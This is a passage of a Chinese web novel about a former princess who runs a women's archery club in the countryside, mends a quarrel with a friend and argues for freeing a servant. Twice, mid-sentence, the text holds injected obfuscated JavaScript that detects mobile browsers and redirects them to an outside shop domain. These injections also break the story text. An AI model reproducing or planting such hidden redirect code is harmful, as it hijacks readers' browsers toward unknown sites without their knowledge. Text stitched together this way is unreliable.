“穷人家的女人都是这样,在家里干活,嫁人,生孩子,在别人家接着干活,一直干到干不动为止。”袁竹轻声说道。 姜佑安感觉有一整块乌云,黑压压充斥在天地间,压得所有女人抬不起头来,她喃喃道:“可是,女人就该如此吗?” 袁竹笑了笑,“当然不该,所以我从婆家离开了,小阮和你也都离开了家,我们女人也是活生生的人,凭什么要听他们的。” 袁竹的笑脸让姜佑安觉得瞬间拨云见日,胸中豁然开朗,“你说得对,我们是活生生的人,我们可以自己活下去,不用受别人的摆布。” 袁竹进屋拿了花种出来,又拿了一把镢头,“我要去地里种花,你去不去?” 姜佑安还没回答,屋里的阮荷和李长风都争相应道:“我去。” 阮盼娣也跟着附和,“去哪啊?我也去。” 见大家都这么踊跃地要去干活,姜佑安也无奈地说道:“我也去吧。” 五个人拿着两把镢头、一把锄头到了地里,两人用镢头开垄,一人撒花种,一人用锄头平土覆盖,还有一个人等着轮换着开垄。 时间接近中午,太阳光逐渐变得热烈,风也不甚凉爽,每个人都忙活得满头汗。 “我得回家去了。”阮盼娣拿着花种站在地边,对阮荷说道。 “咱们也回吧,没想到今天这么热,也没拿水来,小阮妹妹,你也一起回家去,喝点儿水再走吧。”袁竹说道。 “好。”阮盼娣笑着应道。 几人扛着锄头镢头回了家,阮荷给妹妹到了一杯凉掉的茶水,阮盼娣喝了一口,皱起了眉头,“这是什么东西?怎么是苦的?” 阮荷笑了笑,“这是泡的茶叶水,我第一次喝的时候也喝不惯,多喝几次就好了。” 阮盼娣又喝了一口,眉头还是皱着,“姐,我还能再来找你吗?” “可以啊,不过咱们家离的远,你走过来也挺累的吧。”阮荷笑着说道。 “我不嫌累,你走了,家里的活都是我跟娘一起干,我来这里看你,就不用干活了。”阮盼娣说着,眼睛里闪着狡黠的光。 “行,只要爹娘不骂你就行。”阮荷说道。 “骂就骂呗,我才不怕他们骂。”阮盼娣说道。 袁竹从里屋出来,把十个铜板递给阮盼娣,“欢迎你常来,帮我干干活,今天干得少些,先给你这些,下次要是干得时间长,我就多给你一些。” 阮盼娣有些腼腆地推辞道:“袁姐姐,你不用给我钱,我是自愿给你干活的。” 袁竹冲阮盼娣眨眨眼,“你爹娘要是知道你在我这里能挣钱,不就愿意让你来了吗?” 阮盼娣十分惊喜,接过了铜板,“好,我就跟我娘这么说。” “不过,你也不能全都告诉你娘,可以说一半,她要是找你要钱,你就给她一半,自己留一半。”袁竹说道。 “嗯。”阮盼娣点了点头。 “盼娣,要说谢谢袁姐姐。”阮荷说道。 “谢谢袁姐姐。”阮盼娣高兴地说道。 姜佑安见了,脱口而出,“小阮还真有姐姐的样子。”说完就她后悔了,两人还没有和好呢。 “我姐就是天下最好的姐姐。”阮盼娣把杯中的茶喝完,放下杯子,向几人到了别,出门去了。 阮荷把阮盼娣送出院门,又叮嘱了她几句,目送她走上大路,越走越远,才转身回了屋,心里感觉有些酸楚。 自己是离开家了,可那一摊子事,就都留给妹妹了。 “你妹妹说你爹没生病,你娘都是骗你的吧。”袁竹说道。 阮荷垂下眼帘,“没生病更好,我知道我娘是听说了赖川传的谣言,才来找我的,她以为赖川养着我,给了我很多钱,才来找我要钱。” “知道了真相就好,你手上的钱来得也不容易,留着买纸吧,不要再给她钱了。”袁竹说道。 “嗯,我知道了。”阮荷低着头说道。 “行了,咱们做饭去吧。”袁竹说道。 阮荷应了一声,转生往厨房走去。 姜佑安捧着茶杯站在桌旁,始终没说一句话。 袁竹轻叹一声,“小阮和我姐姐,真的太像了,我姐姐要是能像她一样离开家就好了。” “你昨天说的那些话,我现在才有些理解了,一个不被期望的孩子,她的小心翼翼和察言观色,不是我能体会的,可能她想要通过干活和给钱来获得父母认可,认可她和男孩一样,是值得父母去爱的。”姜佑安轻轻说道。 阮荷从堂屋门口走了进来,脸上带着两行泪,“对不起,佑安姐姐,我不该说你冷血。” 姜佑安看着手中的茶杯,轻轻摇了摇头,“是我不对,你跟我成长的环境不一样,我不该要求你跟我一样行事。” “对不起,佑安姐姐,对不起,你教我读书,给我钱,我却辜负了你的好意。”阮荷说道。 “你每天辛苦做饭、打扫房间,钱是你应得的,袁竹说得对,钱在你手里,你想怎么用就怎么用,我无权干涉。”姜佑安说道。 “佑安姐姐,你不肯原谅我吗?”阮荷哭着说道。 “怎么会呢?”姜佑安放下茶杯,走过去把阮荷抱在怀里,“你说我冷血,我确实挺伤心的,你为此向我道歉,我接受,我也要向你道歉。” 阮荷的眼泪不停地流着,“姐姐没有错,姐姐不需要向我道歉,都是我的错。” “不,我也有错,我不该干涉你的决定,不该想要把你给出去的钱抢回来。”姜佑安说道。 “太好了,姜姐姐和阮姐姐和好了。”李长风在一旁高兴地说道。 “是啊,可算和好了,你们两个互相不搭理,真让人烦得慌。”袁竹说道。 姜佑安放开了阮荷,“那可不,这两顿饭我吃着都不香了,小阮,你是不是故意给我做难吃了?” 阮荷擦了擦眼泪,笑着嗔怪道:“哪有?我都是照常做的,大家吃的都是一样,怎么能专给你做难吃?” 四人说着话,一起进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009757|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了厨房做午饭去了。 下午李初五端了一盘米糕来,说是张慈见姜佑安喜欢吃,就多做了些,拿给她吃。姜佑安吃了一块,就带着李初五出去练箭了。 李初五对着靶子练箭,姜佑安则直直地盯着院门口的牌子,看了一阵子之后,她回屋借了阮荷的笔,来到牌子前,在弓箭社的三个字之上,又横着写了“女子”二字。 大家都没有发现牌子上添了两个字,直到戴庭芳带着程祥来教书,程祥一眼就发现了这个变化,去地里干活的路上,他向姜佑安问起,“你不是想要男社员才办的弓箭社吗?怎么又变成女子弓箭社了?” “我改主意了。”姜佑安笑着说道:“县里的弓箭社不是只招男人吗?我跟他正好相反,以后我们弓箭社,只招女人,不招男人。” 程祥笑了笑,“你不想找美男了?” “想啊,我看黎泱泱就不错,我去把他追到手,你看怎么样?”姜佑安说道。 “我还是觉得我家公子更好看。”程祥说道。 姜佑安摇了摇头,“你还真是固执。” 袁竹、姜佑安、李长风和程祥把剩下的花种种完之后,一起回到了袁家,戴庭芳还在教书,最近他每来一次,都要教四个短句,阮荷的课业变得繁重起来。 阮荷在厨房打了水,给大家洗手,拿了水壶来给大家倒茶,又拿出米糕来给大家吃。 姜佑安刚拿起一块,就听见李初五在院子里叫她,她赶忙把李初五带出了院子,告诉她不能打扰小阮读书,李初五不知道读书是什么,但也听话地压低了声音说话。 姜佑安让李初五在外面等着,她去拿了弓箭和靶子出来,让李初五自己练去,她搬了把椅子出来,坐在院墙边,喝着茶,看着眼前成片的麦田和青绿的远山。 程祥没什么事干,也搬了椅子出来,坐在姜佑安的身边。 “今天天气真好,没有昨天那么晒。”姜佑安说道。 “昨天你们也去地里干活了?”程祥问道。 姜佑安喝了一口茶,“去了,昨天小阮的妹妹来了,她也跟我们一起去干活了。” “阮姑娘的妹妹?她是来看望阮姑娘的?”程祥问道。 “是。”提到那个小姑娘,姜佑安的脸上泛出了笑意,“干了一会儿活,袁竹给了她十个铜板,她可高兴了。” “原来在这里干活都有钱拿,刚才袁姑娘给我,我还没要呢。”程祥笑着说道。 “干吗不要?你也是辛辛苦苦干了活的。”姜佑安说道。 “我只是跟我家公子一起出门,顺便帮帮忙而已,哪能要你们的钱。”程祥想到刚才袁竹跟她说的话,“对了,袁姑娘还说要跟我道歉,我问她为什么道歉,她说让我问你。” 姜佑安手上捧着茶杯,转头看向程祥,“前天在河边,说起仆人歌伎之类的,袁竹要我问你,我就问你了,是我们太唐突了,我们俩都要向你道歉,对不起。” “是因为这个啊?”程祥不以为意,笑着说道:“这有什么可道歉的?” “上次我说为你赎身,只是说说而已,你也知道,我现在有了一些钱,不像之前那么窘迫了,只要你愿意,我可以为你赎身,让你不再为仆。”姜佑安认真地说道。 程祥听了,正犹豫不决,戴庭芳突然出现,有些生气地说道:“姜姑娘,我待程祥就如同弟弟一般,你为何总想让程祥离开?难道你就这么想让他离开我,到你身边去?” 62. 朋友 程祥忙站了起来,“公子,姜姑娘没有这个意思。” “如同弟弟?”姜佑安站起身来,看着戴庭芳那俊美的脸,轻轻一笑,“戴公子,以前我也和你一样,觉得善待下人就好,下人不会有什么不满,可我如今才明白,家人和下人,终归是不一样的。” “你怎么知道我待程祥,和家人不同?”戴庭芳问道。 “家人之间,互相是平等的,自己不喜欢、不想要、不愿意,都可以说出来,脾气上来了,甚至可以大吵一架,下人却不行,当你作为主人,要他去做一件事时,他可以说自己不想做而不去做吗?他可以表示对你的不满吗?他可以不对你隐瞒他的情绪吗?他可以想离开就离开吗?”姜佑安说道。 戴庭芳听了,一时无言以对。 程祥不想让戴庭芳为难,轻声劝道:“姜姑娘,公子不会要求我去做我不想做的事,他对我真的挺好的。” “你我是朋友,你叫我佑安就好。”姜佑安对程祥说道。 “佑安…姑娘,你就不要为难公子了。”程祥说道。 姜佑安看向戴庭芳,“你看,我和程祥是朋友,是平等的,我可以叫他程祥,他可以叫我佑安,你和程祥是不平等的,你能叫他程祥,他却不能叫你庭芳。” “这只是一个称呼而已。”程祥说道。 姜佑安紧紧盯着戴庭芳的眼睛,“是的,这只是一个称呼,但称呼的背后有着身份的差别,戴公子是主,程祥是仆,身份不同,怎么能如同家人一般相处?除非程祥不再是仆,我要赎他,不是要他带我身边为仆,是希望他能恢复自由身,不再为仆。” 戴庭芳被姜佑安诚挚的眼神和犀利的言辞所震撼,她是想要程祥得到自由,自己竟狭隘地以为她是看好程祥,想把程祥留在她身边,他羞愧地说道:“姑娘所言甚是,是我忽略了我们身份的不同,我回家就把程祥的卖身契找出来,不用姑娘来赎,我去求父亲放他自由。” “多谢公子!”程祥向戴庭芳鞠躬下拜。 戴庭芳伸手扶起他,“不用谢。” 程祥又向姜佑安拜了一拜,“多谢姑娘。” 姜佑安真心为程祥感到高兴,“戴公子如此有善心,都不用我们出钱,真好。” “能侍奉在公子身边是我的幸运,我幼时在另一户人家里,吃不饱,穿不暖,到了戴家之后,公子从不曾苛待我,还让我跟他一起读书识字。”程祥说道。 “是啊,卖身与人,看人脸色,能不能过得好,真是全凭运气了。”姜佑安感叹道。 “姑娘能识字,懂射柳,在京城也是养得起仆人乐伎的富贵人家吧,怎么会到这里来,还成了花农?”程祥问道。 “想知道我的身世?”姜佑安笑了笑,“那你跟我说说你家公子为什么离京?又为什么退婚?” 程祥看了戴庭芳一眼,“这,这是公子的事,我不能告诉你。” 戴庭芳没说什么,转身回了院里。 “你家公子的脾气真怪。”姜佑安坐了下来,欣赏着眼前浓重的绿色。 程祥走到门边,见戴庭芳已经回了堂屋,他便也回到椅子上坐下,“我家公子是有些执拗,但也是个善良正直的好人,他苦读多年,好不容易通过一次次考试,进殿面了圣,被钦点为探花郎,可报复未曾施展,就被罢了官,所以心情憋闷,不想再提起京城的事。” “你不是说他的事,你不能说吗?”姜佑安问道。 程祥狡黠地眨了眨眼,“只要姑娘不说,公子就不会知道,你可不要在他面前提起。” “你放心好了,我不会跟他说的。”姜佑安喝了一口茶,水已经凉透了,“能进入殿试的水平,什么都没做就被驱逐,只能说明龙椅上坐着的人,并不圣明。” 程祥吃了一惊,“纵然这里是乡野之中,姑娘也不能这样妄言,小心招来横祸。” “能有什么横祸?不过是闲聊两句,难道谁还能诬赖我要谋反不成?”姜佑安无所谓地说道。 程祥无奈地笑了笑,“倒也不至于有谋反那么严重,但还是要小心为上。” “知县又不管事,这种小事报上去,门人都懒得搭理。”姜佑安说道。 提到知县,程祥想到了郭英,“你和郭姑娘和好了吗?” 姜佑安抬头看着远山,淡淡道:“没有,我还没想好该怎么说。” “你能理解仆人的处境,自然也能懂得郭姑娘的愤怒,照实跟她说不就好了。”程祥说道。 “要我主动跟别人道歉,我做不来。”姜佑安说道。 “郭姑娘看上去也不是蛮不讲理的人,只要你主动去找她,给她一个台阶下,她会跟你和好如初的。”程祥说道。 “会吗?”姜佑安的心思有了些松动。 “会的,说不定现在郭姑娘也在后悔呢,只要你能见到她,一切就都好办了。”程祥说道。 姜佑安在心里暗暗赞同,送走了戴庭芳和程祥之后,姜佑安拜托阮荷,下午帮她炸些糖糕,她把糖糕装在郭英留下的食盒里,捧着食盒去了郭家村。 一路上她的心情都很忐忑,她从没想过,自己也有低声下气向别人道歉的一天,这个人还只是一个普通的村姑,不过,自己又是什么呢? 她以前的身份是公主,也只不过是因为她父亲是皇上,投胎在母亲的肚子里,是她的幸运,成为一个村姑,是郭英的不幸。 说到底,大家的不同,只是投胎的运气不同而已,倘若她投胎在一个农妇的肚子里,那她也只是个普通的村姑,而且现在,她已经没有了身份地位,也不过是个花农而已。 姜佑安鼓起勇气,到了郭家村,打听到郭英的住处,敲响了郭家的院门。 她能听到屋里传来咯噔咯噔的织布声,但一直没有人开门,姜佑安犹豫了许久,还是转身回去了。 后来姜佑安又来了几次,始终没有见到郭英,她有些遗憾,连道歉的机会都没有,她就这样失去了一个朋友。 吃过了早饭,姜佑安在门口晒太阳,呆呆地看着前方麦田,一阵风吹过,麦浪高低起伏。 “姜娘子!”李初五蹦蹦跳跳地来到姜佑安面前。 姜佑安从沉思中惊醒,“初五来了,你自己去屋里拿弓去吧。” “我今天不练了,我要跟我娘一起去县里。”李初五高兴地说道。 张慈跟着走了过来,“天气暖和了,我打算去买点鸡崽。” 袁竹从院子里走出来,肩上挑着担子,担子里放着一些百合花,阮荷胳膊上挎着筐,跟在她的身后。 “正好小阮也想买几只鸡崽,咱们一起去吧。”袁竹说道。 “好啊,一起去吧。”张慈领着李初五走在前面,袁竹和阮荷走在后面。 “佑安姐姐,你也一起去吧。”阮荷回过头来,跟姜 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另一个姑娘上前拜了一拜,“你就是袁娘子吧,我叫许家莺,家里是开绸缎庄的,我哥哥自从在庙会上见了阮姑娘一面,一直念念不忘,我今日前来,是受我哥哥所托,想见阮姑娘一面。” “哦,就是那个绸缎庄的许公子是吧,媒婆来说过,我有点印象。”姜佑安看向先前那人,“你呢?是来做什么的?” “我是家莺的朋友,我叫龙世蓉,来这里,只是想看看那阮姑娘究竟是怎样的美貌绝伦,竟让许哥哥如此魂牵梦萦。”龙世蓉说道。 “那你们来晚了。”姜佑安站起身来,伸了伸懒腰,“小阮现在不在。” “她去了哪里?”许家莺问道。 “去县里买鸡崽了。”姜佑安说道。 “那我们就在这里等她回来。”龙世蓉挥了挥手,有一个小厮和一个丫鬟拿着两把交椅来,撑开放在院门口,姜佑安向两人身后看去,才发现竟有一个辆马车停在不远处。 这辆马车比戴家的马车要富贵得多,两个姑娘的衣着华丽,连两个仆人的衣着都很光鲜,看来是哪里的大户人家。 “坐在人家门口,不大好吧。”许家莺把两把椅子往旁边挪了挪,两人坐在了姜佑安的身边。 “见了小阮,你想跟她说什么?”姜佑安向许家莺问道。 “我想让她跟我哥哥见个面,万一她能看上我哥,嫁给我哥做妻子,不比在这里当赖川的外室要强上许多?”许家莺认真地说道。 “我看这事挺难,小阮既不是赖川的外室,也没有要嫁人的意思。”姜佑安说道。 “阮姑娘不是赖川的外室?那太好了!”许家莺笑着说道。 “你又不是阮姑娘,你怎么知道她不想嫁人?”龙世蓉问道。 “佑安姐姐!”脆生生的呼唤声传来,姜佑安转头一看,只见阮盼娣正从大路上飞奔而来。 姜佑安起身迎过去,笑着跟她打招呼:“小阮妹妹,你怎么来了?” 龙世蓉跟在姜佑安的身后,端详着阮盼娣的脸,“她就是阮姑娘?怎么看起来这么小?” 许家莺冲过去,握住了阮盼娣的手,“阮姑娘,你长得真好看,做我嫂子吧!” 63. 妹妹 “嫂子?”阮盼娣看向姜佑安,“佑安姐姐,她是谁?她在说什么呢?” 龙世蓉把许家莺拉开来,埋怨道:“哪有你这么直接的?别把人家孩子吓着了。” “哦,对不起对不起!阮姑娘,你不认识我,我叫许家莺,我家在县里开绸缎庄,你之前在庙会上卖水仙花的时候,我哥哥见过你,他一见你就喜欢,就跟我一样,我一见了你觉得喜欢,你要是能嫁给我哥,咱们就是一家人了。”许家莺说道。 “你是不是搞错了?我没有去过庙会啊。”阮盼娣说道。 姜佑安哈哈一笑,“她把你错认成你姐了。” “什么?你是阮姑娘的妹妹?”许家莺惊讶地问道。 “对啊,这么小的姑娘,你就要她做你嫂子?你是喜欢了,我可不能同意。”姜佑安说道。 “小姑娘,你今年多大了?”龙世蓉问道。 “我十五了。”阮盼娣答道。 许家莺嘿嘿笑着,“十五是小了点儿。” “你叫什么名字?”龙世蓉又问道。 “我叫阮盼娣。”阮盼娣答道。 龙世蓉回头看向姜佑安,“怎么给孩子取了这么个名字?” “你怪我干吗?名字是她父母起的,又不是我起的!”姜佑安没好气地说道,她转念又一想,“这名字确实不小,小阮妹妹,在这里,你就改个名字吧。” 阮盼娣觉得有趣,忙问道:“改成什么?” 姜佑安想起早晨在这里看到远处缥缈的烟雾,如梦如幻,“就叫晨烟怎么样?阮晨烟。” “晨烟,阮晨烟,真好听!谢谢佑安姐姐!”阮晨烟笑着说道。 “佑安?我明明听说这里住的花农叫袁竹,你是谁?”龙世蓉问道。 姜佑安伸手指向大门边的牌子,“我是女子弓箭社的社长,我叫姜佑安。” 许家莺眼睛一亮,“你是社长?好厉害!” “我就说你平时应该多出门走动走动,别人说什么,你就信什么,我怎么从没听说咱们县里还有女子弓箭社。”龙世蓉说道。 姜佑安昂首挺胸,“那你现在知道了,我姜佑安不但是女子弓箭社的社长,还打败了县里的锦标社社长黎千秋,不信,你可以去锦标社问问。” “真的?姜社长你太厉害了!”许家莺看着姜佑安,一脸的崇拜。 龙世蓉还是不大相信,“你就在这里结社?你的社员呢?” “社员去县里买鸡崽去了。”姜佑安说道。 “姜社长,我可以加入女子弓箭社吗?”许家莺问道。 龙世蓉扯了扯许家莺的袖子,“你在干什么?加入弓箭社干什么?你是不是忘了你来是要干什么的?” “我是来找阮姑娘的啊,阮姑娘肯定也是弓箭社的成员,我加入了弓箭社,不就可以经常看见阮姑娘了吗?说不定时间久了,我还可以邀请阮姑娘去我家坐坐。”许家莺一脸天真地畅想着未来。 “你这目的也太不纯粹了,你要是不喜欢射箭,我可不会收的。”姜佑安说道。 “我哥哥以前参加过弓箭社,我偷偷去看过,我觉得会射箭的人都很威猛,很厉害,虽然我不会射箭,姜社长,你可以教我吗?”许家莺兴奋地问道。 这样直爽天真的人,姜佑安并不讨厌,她进屋里拿了一套没用过的弓箭,又从廊下取下靶子,把靶子挂在了东侧院墙上,把弓箭递给许家莺,“你来试试吧。” 许家莺接过弓和一支箭,学着曾经看到的哥哥的样子,把箭的尾端卡在弓弦上,后退了几步,拉弓、瞄准、放箭,嗖地一声,箭稳稳地扎在了靶子上。 “行啊,挺有天赋,我接纳你加入弓箭社,这一套弓箭也给你了。”姜佑安高兴地说道。 “太好了!”许家莺笑得很灿烂。 “这是什么小孩子的玩意儿吗?”龙世蓉从许家莺手里拿过弓,又从箭囊里抽出一支箭,学着许家莺的样子,拉弓、射箭,箭却偏到一旁,飞进了大路边的麦田里。 小厮见箭飞走了,赶忙去捡,姜佑安冲着他大声吆喝,“小心点儿!别踩了麦苗,连累得我都要挨骂!” “知道了。”小厮应了一声,小心翼翼从麦田里出来,把箭送回了龙世蓉手中, 龙世蓉接过箭,向前走了一步,又射出一箭,箭头射在墙上,发出当的一声响,跌落在地上。 姜佑安摇了摇头,“你不行,你没有这个天赋。” “我还就不信了。”龙世蓉从姜佑安手里抢过箭囊,又要接着射,姜佑安拦住了她,把靶子取下来,挂在路边的柳树上,“别往墙上射了,箭头都让你射坏了。” 靶子挂在树上,一阵风吹过,靶子就跟着晃动,比挂在墙上还不好射中,龙世蓉不服气,一箭一箭地射着,小厮和丫鬟忙不迭地给她捡箭。 “我还从来没有什么能赢过世蓉的,她一向不服输的,多练一练,肯定就能射中了。”许家莺说道。 “人各有擅长,说不定你就是比她擅长射箭,不过射箭这种技艺,是熟能生巧,练习的多寡,也能决定技艺的高低。”姜佑安说道。 阮晨烟在一旁看着,觉得挺有趣,“佑安姐姐,我能跟你学射箭吗?” 姜佑安微微一笑,“当然好啊,我看你最近都没来,是你娘知道了,不让你来吗?” “前两天在家里忙着种菜,我娘听说在这里能挣钱,今天地里的活忙完了,就让我来了。”阮晨烟说道。 “在这里能挣什么钱?”许家莺问道。 “种地干活罢了,你这样瘦弱的小姐可干不了。”姜佑安笑着说道:“要练箭也是,你得多吃点肉,长得壮实一点儿,胳膊有劲了,才能拉得开弓。” “这弓挺好拉的啊。”许家莺说道。 姜佑安进屋又拿出两张弓来,教了阮晨烟怎么用指套,怎么拉弓射箭,就把李初五平时用的弓和箭囊给了她,让她去跟龙世蓉一起射着玩,把另一张弓递给了许家莺,“这是我用的弓,你来试试。” 许家莺接过来拿在手里,觉得这张弓沉了许多,姜佑安给她带上皮质指套,她搭上箭,向着远方的麦田勾起弓弦,但弓弦纹丝不动。 “这弓,真的能用?”许家莺很是怀疑。 姜佑安笑了笑,把弓拿过去,戴上自己的鹿骨扳指,搭上箭,向着柳树上摇晃的靶子射去,箭羽嘶鸣着划破长空,许家莺忙向靶子看去,只见有一支箭正中靶心。 “姜社长!你也太厉害了吧!能拉开这么紧的弓,还能射中那么远的靶子!”许家莺拍起手来,惊叹不已。 “佑安姐姐好厉害!”阮晨烟也拍手叫好。 龙世蓉走了过来,心里暗自佩服姜佑安的射艺高超,嘴上却在抱怨着,“我怎么没有指套用?” “我们女子弓箭社的社员才有指套用,你又不是社员,给你随便玩玩不就行了。”姜佑安说道。 “那我也加入。”龙世蓉说道。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027242|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也想跟我学射箭?”姜佑安笑着问道。 龙世蓉不想承认自己想跟她学射箭,高傲地说道:“我才不想学这个,不过,既然家莺加入了,我就也要加入,她性子软,我不能让她在这里受欺负。” “我们谁像是会欺负人的?”姜佑安问道。 “路遥知马力,自久见人心,初见面谁都是和善的,谁知道以后什么样,再说了,弓箭社还有什么人,我还没见过呢。”龙世蓉说道。 姜佑安看她虽然说话不大客气,但也是热心善良的,就也同意了,“行,你要是愿意学,我也愿意教,只不过,现在能用的弓箭只有两套,你们三个轮换着练吧,明天我再去买几套弓箭回来。” “我听说锦标社社员都有将近一百人了,你们弓箭社,却只有两套弓箭?也太寒酸了吧。”龙世蓉有些嫌弃地说道。 “世蓉,你不要这样讲,对社长要态度好一些。”许家莺轻声劝道。 姜佑安不以为意,“锦标社也不是一开始就有一百人吧,我这女子弓箭社才是初创,人少不是很正常的吗?” 阮晨烟也走了过来,“佑安姐姐,这弓箭贵不贵啊?要不就先别给我买了,等我干活攒攒钱再买。” “没事,不贵。”姜佑安笑着安慰道。 龙世蓉眉头轻皱,“两套弓箭够几个人用?你别告诉我,你们弓箭社只有两个人吧。” 姜佑安哈哈一笑,“你猜得不错,我这弓箭社加上我,也只有两个人,那两套弓箭里,还有一套是全新的呢。” 这边几个人聚在门口说话,那边又有一人从大路上走过来,“谁说弓箭社只有两人?不还有我吗?” 姜佑安一看,原来是黎泱泱,笑着说道:“不好意思,忘了通知你了,你被我们弓箭社除名了。” “除名?姜姑娘是在跟我开玩笑吗?”黎泱泱微笑着说道。。 “黎公子,你家里开着锦标社,你为什么还要参加别的弓箭社?”龙世蓉奇怪地问道。 黎泱泱没有回答,反问道:“龙小姐是来买花吗?这位小姐是?” 许家莺躲在了龙世蓉身后,龙世蓉说道:“不买花,只是过来看看,她是我朋友,你不需要知道她是谁。” “龙小姐的朋友,想必就是绸缎庄的许小姐吧,听说许小姐常年不出门,今日能一度芳容,还真是荣幸。”黎泱泱说道。 龙世蓉没有给他好脸色,“早知道有男人在,我们就不参加了。” “没有男人,我保证没有男人。”姜佑安赶忙说道:“我这牌子是最近刚改的,黎公子这段时间没有来,他还不知道,之前我是想招男人来着,但现在,我改主意了,我办的是女子弓箭社,不招男人。” “还是因为袁姑娘反对?那我可以帮你另找场地。”黎泱泱说道。 “不是场地的问题,也不是袁竹的问题,是我自己不想招男人了,你们弓箭社不是只要男人吗?我们弓箭社正好跟你们相反,我们只要女人。”姜佑安说道。 “原来是这样,看来姑娘很记仇,因为我赶姑娘走,姑娘就也要赶我走。”黎泱泱有些失望地说道。 姜佑安笑了笑,“我可没有记仇,黎公子不知道,我可是很喜欢黎公子的。” “你在说什么呢!”龙世蓉惊讶地看着姜佑安,仿佛她说出了什么惊世骇俗的话。 “我是说,黎公子的长相,很合我喜好,所以我很喜欢他。”以为龙世蓉没听明白,姜佑安向她解释道。 64. 嫌疑 “什么喜欢!你怎么能把这种话挂在嘴边?”龙世蓉说道。 黎泱泱不禁哑然失笑,“我知道姜姑娘说话行事,一向是随心所欲,可今天这话,真是把我也吓一跳。” “这有什么不能说的吗?”姜佑安说道。 “乡野之人就是粗俗,家莺,这弓箭社咱们不参加了,我送你回家去。”龙世蓉说着,拉着许家莺的手就走。 许家莺有些犹豫,“可是,我还没有见到阮姑娘呢。” “龙姑娘,喜爱之情、倾慕之情,是什么粗俗的东西吗?我为什么不能说?”姜佑安不解地问道。 “你我都是女子,女子怎么能将这种感情宣之于口?”龙世蓉说道。 “你的意思是男人可以,女人不可以?”姜佑安满不在乎地说道:“我办女子弓箭社,就是想破除男人可以,女人不可以的说法,女人不可以去书院读书,女人不可以参加弓箭社,女人也不可以说出自己对于男人的喜爱,只能被动地等待着男人的挑选,或者父母的安排,我不想遵守这些。” 龙世蓉十分震惊,“这世间的伦理纲常就是如此,你怎么能反对这些?” “伦理纲常也不过是人制定的。”姜佑安说道:“女人就该这样,女人不能那样,我从小就讨厌这些东西,也从不想遵守。” 许家莺微微一笑,“世蓉,你不也常跟我说,你很讨厌女人要三从四德的说法吗?我看你和姜姑娘,还挺像的。” “我可没有她这么离经叛道,我只是讨厌因为嫁人,就要离开自己的家。”龙世蓉说道。 “你不想离开,招赘不就好了?”姜佑安说道。 “还用你说?我早就有这个打算。”龙世蓉说道。 “龙老板要招赘婿,估计想要嫁入龙家的男人都要踏破门槛了。”黎泱泱说道。 姜佑安轻笑道:“那挺好,龙小姐可要好好挑一挑,千万别面对喜欢的人,连个喜欢都说不出口。” 龙世蓉眉毛一竖,“你敢取笑我?” “不敢不敢,我是想祝愿小姐婚姻美满。”姜佑安笑着说道。 “我的婚事,也是你能拿到台面上说的吗?”龙世蓉生气地说道。 许家莺挽着龙世蓉的胳膊,轻声劝慰道:“好了,别气了,姜姑娘说她喜欢黎公子,跟我们可不相干,你生这个气做什么?” 龙世蓉勉强压下了火气,看向黎泱泱,“黎公子,你可愿娶这位姑娘为妻?” “啊?”黎泱泱一下子愣住了,“这……” “哈哈哈。”姜佑安忍不住大笑起来。 “在聊什么呢,这么开心?”袁竹挑着担子走了过来,“来客人了怎么不让人进屋,都在大门外站着干什么?” 阮荷和李长风跟在袁竹身后,好奇地看着门口这一群人。 “姐,你回来了!”阮晨烟高兴地迎了过去,接过阮荷手里的竹筐。 “小心点儿,这里面可是鸡崽,别摔着了。”阮荷轻声叮嘱道。 “哦,好。”阮晨烟和阮荷一起提着筐,小心翼翼地往院里走,门口的人纷纷给她俩让路。 “没聊什么,今天生意怎么样?”姜佑安向袁竹问道。 “还行吧,今天开的花不多,一会儿就卖完了。”袁竹说道。 “张姐和初五呢?”姜佑安跟着袁竹进了院子,又回头招呼道:“都进来吧,进来说话。” “她们在街上遇到了亲戚,说去亲戚家坐坐,晚点儿回来。”袁竹把担子放在了走廊上,进去洗手洗脸。 阮荷和软晨烟把筐放在地上,把里面的小鸡一只一只拿出来,放在地上,小鸡害怕地挤成一团,睁着大眼睛,好奇地左看右看,慢慢的,它们发现这里并没什么危险,便开始左跑右跑地到处探索了。 龙世蓉和许家莺都没有见过这么小的鸡,觉得十分新鲜,蹲下身来仔细看着,小鸡也走过来观察着她们,彼此对对方都感到很好奇。 袁竹擦完脸,从堂屋里走了出来,“两位姑娘,小心你们的裙子,别沾上鸡屎了。” 龙世蓉和许家莺听了,赶忙站了起来,互相查看衣服脏没脏。 “这两位姑娘是谁啊?”袁竹向姜佑安问道。 姜佑安骄傲地向袁竹介绍道:“她们是我弓箭社的成员,高个子的是龙世蓉龙姑娘,身子瘦弱的那位是许家莺许姑娘。” “要是有男人,我就不加入了。”龙世蓉说道。 “我不跟你说了吗?这里是女子弓箭社,只有女人能参加。”姜佑安说道。 “那我怎么办?”黎泱泱问道。 “你嘛。”姜佑安也感到很困扰,“我也没想好,要不你来当教头?” “不行!”龙世蓉断然拒绝,“我不想让男人教我。” “龙姑娘,你是跟黎公子有什么过节吗?”姜佑安问道。 “没有,只是见过几次面的关系,但我就是不想让他当教头。”龙世蓉说道。 姜佑安觉得有些好笑,“喜欢不能随意说,讨厌你倒是能随便说出口。” 